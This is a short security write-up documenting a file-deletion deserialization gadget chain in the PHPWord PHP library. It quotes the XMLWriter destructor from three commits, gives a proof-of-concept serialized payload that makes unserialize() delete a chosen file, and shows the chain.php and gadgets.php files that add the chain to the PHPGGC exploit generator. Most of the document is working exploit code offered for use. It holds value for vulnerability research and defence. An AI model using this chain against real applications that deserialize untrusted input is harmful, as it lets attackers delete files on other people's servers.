C101111: PHPWord, file deletion Gadget Chain
Hello, today we’re implementing a new gadget chain for the PHPWord PHP library.
A pure PHP library for reading and writing word processing documents.
Who?
- Library name:
- PHPWord<
- GitHub repository:
- PHPOffice / PHPWord
- URL:
Why?
Below is the responsible code.
File: src/PhpWord/Shared/XMLWriter.php
Version: Commit 77438025265482ddcf050bce520d3c2b51645108
<?php
...
namespace PhpOffice\PhpWord\Shared;
use Exception;
use ReturnTypeWillChange;
...
class XMLWriter extends \XMLWriter
{
/** Temporary storage method */
const STORAGE_MEMORY = 1;
const STORAGE_DISK = 2;
/**
* Temporary filename.
*
* @var string
*/
private $tempFileName = '';
...
/**
* Destructor.
*/
public function __destruct()
{
// Unlink temporary files
if (empty($this->tempFileName)) {
return;
}
if (PHP_OS != 'WINNT' && @unlink($this->tempFileName) === false) {
throw new Exception('The file ' . $this->tempFileName . ' could not be deleted.');
}
}
...
}
File: src/PhpWord/Shared/XMLWriter.php
Version: Commit f359825cb7abdd0e92fa333237cb37d160504448
<?php
...
namespace PhpOffice\PhpWord\Shared;
use PhpOffice\PhpWord\Settings;
...
class XMLWriter
{
/** Temporary storage location */
const STORAGE_MEMORY = 1;
const STORAGE_DISK = 2;
/**
* Internal XMLWriter
*
* @var \XMLWriter
*/
private $xmlWriter;
/**
* Temporary filename
*
* @var string
*/
private $tempFile = '';
...
/**
* Destructor
*/
public function __destruct()
{
// Destruct XMLWriter
unset($this->xmlWriter);
// Unlink temporary files
if ($this->tempFile != '') {
@unlink($this->tempFile);
}
}
...
}
File: src/PhpWord/Shared/XMLWriter.php
Version: Commit 07be5eaea326a43fe0c68b6231c4a74e9639dd99
<?php
...
namespace PhpOffice\PhpWord\Shared;
use PhpOffice\PhpWord\Settings;
...
class XMLWriter
{
/** Temporary storage method */
const STORAGE_MEMORY = 1;
const STORAGE_DISK = 2;
/**
* Internal XMLWriter
*
* @var \XMLWriter
*/
private $_xmlWriter;
/**
* Temporary filename
*
* @var string
*/
private $_tempFileName = '';
...
/**
* Destructor
*/
public function __destruct()
{
// Desctruct XMLWriter
unset($this->_xmlWriter);
// Unlink temporary files
if ($this->_tempFileName != '') {
@unlink($this->_tempFileName);
}
}
...
}
How?
Proof Of Concept
$ git clone https://github.com/PHPOffice/PHPWord.git
$ cd PHPWord
$ php composer.phar install
Then we create the file test.php as follows.
File: test.php
<?php
require_once 'bootstrap.php';
$s = 'a:2:{i:7;O:34:"PhpOffice\PhpWord\Shared\XMLWriter":1:{s:12:"tempFileName";s:9:"/tmp/AAAA";}i:7;i:7;}';
$o = unserialize($s);
?>
Adding the gadget chain to PHPGGC
File: phpggc/gadgetchains/PHPWord/FD/1/chain.php
<?php
namespace GadgetChain\PHPWord;
class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
public static $version = '*';
public static $vector = '__destruct';
public static $author = 'coiffeur';
public static $information = '
Note that some files may not be removed (depends on permissions).
Target versions: commit 77438025265482ddcf050bce520d3c2b51645108, 30 May 2023 (~1.1.0) <= exploitable.
Depending on the version, the attribute name may vary between "_tempFileName", "tempFile" and "tempFileName".
';
public function generate(array $parameters)
{
return new \PhpOffice\PhpWord\Shared\XMLWriter($parameters['remote_path']);
}
}
File: phpggc/gadgetchains/PHPWord/FD/1/gadgets.php
<?php
namespace PhpOffice\PhpWord\Shared;
class XMLWriter
{
public $tempFileName;
public function __construct($remote_path) {
$this->tempFileName = $remote_path;
}
}
Thank you for taking the time to read this article.